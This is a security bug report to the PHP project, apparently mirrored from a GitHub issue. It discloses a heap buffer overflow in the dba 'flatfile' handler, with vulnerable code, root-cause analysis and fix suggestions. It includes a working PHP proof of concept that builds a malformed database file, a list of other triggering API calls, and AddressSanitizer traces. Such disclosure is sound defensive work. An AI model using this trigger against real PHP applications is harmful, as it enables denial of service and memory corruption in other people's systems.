[php-src] Issue #22669: Heap buffer overflow in bundled dba "flatfile" handler: negative record-length field in the database file is parsed with atoi() into size_t, wrapping the allocation size and overflowing the heap with attacker-controlled file bytes
[email protected] (cxxz16) Fri, 10 Jul 2026 07:53:15 +0000
| Newsgroups | php.bugs |
|---|---|
| Message-ID | <[email protected]> |
Issue: https://github.com/php/php-src/issues/22669
Author: cxxz16
### Description
### Summary
The bundled dba extension's flatfile handler parses record-length fields from the database file using atoi() and stores the result in a size_t. A negative length such as -1 becomes SIZE_MAX; the subsequent reallocation size num + FLATFILE_BLOCK_SIZE wraps to a tiny value, so erealloc() shrinks the buffer, and php_stream_read() is then called with the original huge num, copying attacker-controlled file bytes far past the undersized heap allocation.
An application that opens a flatfile database whose contents an attacker can supply or replace, and then performs any ordinary read/enumerate/delete operation (dba_firstkey, dba_nextkey, dba_fetch, dba_exists, dba_delete), suffers a heap buffer overflow with attacker-controlled content and attacker-controlled length (CWE-787, via an integer wraparound CWE-190/195). This is a memory-safety defect in core, bundled PHP code, reachable through the normal DBA API; no malicious PHP code, deprecated API, or non-default configuration is required.
### Details
Affected code — ext/dba/libflatfile/flatfile.c. The same vulnerable pattern appears in four functions and was verified present in PHP 8.4.20 and in the current master branch (the surrounding code has only seen cosmetic changes for years):
```c
size_t num; /* note: size_t */
size_t buf_size = FLATFILE_BLOCK_SIZE; /* FLATFILE_BLOCK_SIZE == 1024 */
char *buf = emalloc(buf_size);
...
if (!php_stream_gets(dba->fp, buf, 15)) { break; }
num = atoi(buf); /* "-1\n" -> int -1 -> size_t SIZE_MAX */
if (num >= buf_size) { /* SIZE_MAX >= 1024 => true */
buf_size = num + FLATFILE_BLOCK_SIZE; /* SIZE_MAX + 1024 => wraps to 1023 */
buf = erealloc(buf, buf_size); /* buffer SHRINKS to 1023 bytes */
}
num = php_stream_read(dba->fp, buf, num); /* reads up to SIZE_MAX bytes into 1023-byte buf */
```
Verified sites (key- and value-length reads):
- flatfile_delete() — flatfile.c:115-123 (and the value-length block at 138-144)
- flatfile_findkey() — flatfile.c:165-170 (and 181-186)
- flatfile_firstkey() — flatfile.c:205-210 (and 221-226)
- flatfile_nextkey() — flatfile.c:247-252 (and 257-262)
Root cause. Three compounding errors:
1. Signed→unsigned conversion (CWE-195): atoi() returns a signed int; a negative file-supplied length is assigned to size_t num,
becoming an enormous value.
2. Integer wraparound (CWE-190): num + FLATFILE_BLOCK_SIZE wraps, so the "grow the buffer" branch produces a smaller buf_size (e.g.
SIZE_MAX + 1024 == 1023), and erealloc() shrinks the buffer instead of growing it.
3. Unchecked read into the undersized buffer (CWE-787): php_stream_read(dba->fp, buf, num) is called with the original huge num, copying
as many attacker-controlled file bytes as the file provides into the 1023-byte allocation.
Because the overflowing bytes and the read length both come straight from the database file, this is a controlled-content,
controlled-length heap overflow — substantially more powerful than a single-byte or fixed-offset corruption.
Suggested fix direction:
- Parse length fields with a checked unsigned parser (reject a leading sign, non-digit text, missing terminator, and values that cannot
be valid record lengths) instead of atoi().
- Before resizing, bound-check: reject num that is not strictly less than SIZE_MAX - FLATFILE_BLOCK_SIZE (and ideally cap to a sane
maximum record size / remaining file size).
- Treat a parse failure or impossible length as a database-format error and stop before php_stream_read().
- Apply the same validation to all four functions (key and value length reads).
### PoC
Built from the bundled extension with AddressSanitizer:
```sh
./configure --disable-all --enable-cli --enable-debug --disable-cgi --disable-phpdbg --enable-dba \
CFLAGS="-fsanitize=address,undefined -g -O0" LDFLAGS="-fsanitize=address,undefined"
make -j"$(nproc)" cli
```
Run with `ASAN_OPTIONS=allocator_may_return_null=1` (the wrapped size is small, so allocation
itself succeeds; the overflow happens at the `php_stream_read` copy).
**Standalone reproducer** — a single PHP file; the malicious bytes are the *file content*,
the API call is ordinary:
```php
<?php
$path = sys_get_temp_dir() . '/bad-flatfile.db';
// Attacker-controlled database file: a negative key-length field "-1", then data.
file_put_contents($path, "-1\n" . str_repeat("A", 4096));
$db = dba_open($path, 'r-', 'flatfile');
dba_firstkey($db); // heap-buffer-overflow
echo "no-crash\n";
```
**Equivalent entry points** (all independently confirmed under ASAN with the same malformed file):
```php
dba_firstkey($db); // flatfile_firstkey() -> flatfile.c:210
dba_fetch('A', $db); // flatfile_fetch() -> flatfile_findkey() -> flatfile.c:170
dba_exists('A', $db); // flatfile_fetch() -> flatfile_findkey() -> flatfile.c:170
dba_delete('A', $db); // flatfile_delete() -> flatfile.c:123 (open mode 'w-')
```
### ASAN — `dba_firstkey` (read-only open, `'r-'`)
```text
=================================================================
==49824==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51900000187f at pc 0x7f17711062c3 bp 0x7ffc30ad79c0 sp 0x7ffc30ad7168
WRITE of size 4096 at 0x51900000187f thread T0
#0 0x7f17711062c2 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x560a9b6e6b0d in _php_stream_read /src/php/main/streams/streams.c:731
#2 0x560a9aeb6e88 in flatfile_firstkey /src/php/ext/dba/libflatfile/flatfile.c:210
#3 0x560a9ae992b8 in dba_firstkey_flatfile /src/php/ext/dba/dba_flatfile.c:133
#4 0x560a9aeab679 in zif_dba_firstkey /src/php/ext/dba/dba.c:1164
#5 0x560a9bbfad74 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /src/php/Zend/zend_vm_execute.h:1287
#6 0x560a9bf00250 in execute_ex /src/php/Zend/zend_vm_execute.h:58896
#7 0x560a9bf200cd in zend_execute /src/php/Zend/zend_vm_execute.h:64328
#8 0x560a9c1bc2ad in zend_execute_script /src/php/Zend/zend.c:1934
#9 0x560a9b65614b in php_execute_script_ex /src/php/main/main.c:2577
#10 0x560a9b6566e1 in php_execute_script /src/php/main/main.c:2617
#11 0x560a9c1c4895 in do_cli /src/php/sapi/cli/php_cli.c:935
#12 0x560a9c1c7427 in main /src/php/sapi/cli/php_cli.c:1310
0x51900000187f is located 0 bytes to the right of 1023-byte region [0x519000001480,0x51900000187f)
allocated by thread T0 here:
#0 0x7f1771180c38 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164
#1 0x560a9b9cc93e in __zend_realloc /src/php/Zend/zend_alloc.c:3313
#2 0x560a9b9c7617 in _erealloc /src/php/Zend/zend_alloc.c:2761
#3 0x560a9aeb6de6 in flatfile_firstkey /src/php/ext/dba/libflatfile/flatfile.c:208
#4 0x560a9ae992b8 in dba_firstkey_flatfile /src/php/ext/dba/dba_flatfile.c:133
#5 0x560a9aeab679 in zif_dba_firstkey /src/php/ext/dba/dba.c:1164
SUMMARY: AddressSanitizer: heap-buffer-overflow .../sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
```
The line `0 bytes to the right of 1023-byte region` confirms the `erealloc()`-shrunk
1023-byte buffer (from `SIZE_MAX + 1024`) being overflowed by the `php_stream_read` copy.
### ASAN — `dba_fetch` / `dba_exists` (read-only open, `'r-'`)
```text
==49830==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51900000187f ...
WRITE of size 4096 at 0x51900000187f thread T0
#1 _php_stream_read /src/php/main/streams/streams.c:731
#2 flatfile_findkey /src/php/ext/dba/libflatfile/flatfile.c:170
#3 flatfile_fetch /src/php/ext/dba/libflatfile/flatfile.c:86
0x51900000187f is located 0 bytes to the right of 1023-byte region [0x519000001480,0x51900000187f)
#2 _erealloc /src/php/Zend/zend_alloc.c:2761
#3 flatfile_findkey /src/php/ext/dba/libflatfile/flatfile.c:168
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in __interceptor_memcpy
```
### ASAN — `dba_delete` (writable open, `'w-'`)
```text
==49836==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51900000187f ...
WRITE of size 4096 at 0x51900000187f thread T0
#1 _php_stream_read /src/php/main/streams/streams.c:731
#2 flatfile_delete /src/php/ext/dba/libflatfile/flatfile.c:123
0x51900000187f is located 0 bytes to the right of 1023-byte region [0x519000001480,0x51900000187f)
#2 _erealloc /src/php/Zend/zend_alloc.c:2761
#3 flatfile_delete /src/php/ext/dba/libflatfile/flatfile.c:118
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in __interceptor_memcpy
```
### Impact
An attacker who can supply or replace a `flatfile` DBA database opened by a PHP
application can trigger native heap memory corruption inside the PHP process when the
application performs ordinary DBA operations such as `dba_firstkey()`, `dba_nextkey()`,
`dba_fetch()`, `dba_exists()`, or `dba_delete()`.
The overflow is attacker-controlled in both content and length: bytes copied past the
allocation come directly from the database file, and the malformed length field controls
how much data `php_stream_read()` attempts to copy. In testing, this reliably triggers an
ASAN-confirmed heap-buffer-overflow and is sufficient for a PHP worker/process crash
(denial of service). Because this is a controlled-content, controlled-length write into
the native PHP heap, it should be treated as a memory corruption vulnerability with
realistic potential for code execution, although code execution has not been demonstrated.
The practical attack surface depends on deployment. It is local-file based when an attacker
needs direct write access to the DBA file path, and can become remotely triggerable in
applications that import, upload, restore, cache, or otherwise open attacker-controlled
files with the bundled `flatfile` DBA handler. Successful exploitation affects the
confidentiality, integrity, and availability of the PHP process and any data or privileges
available to that process.
### PHP Version
```plain
php<=8.5.6
```
### Operating System
ubuntu22.04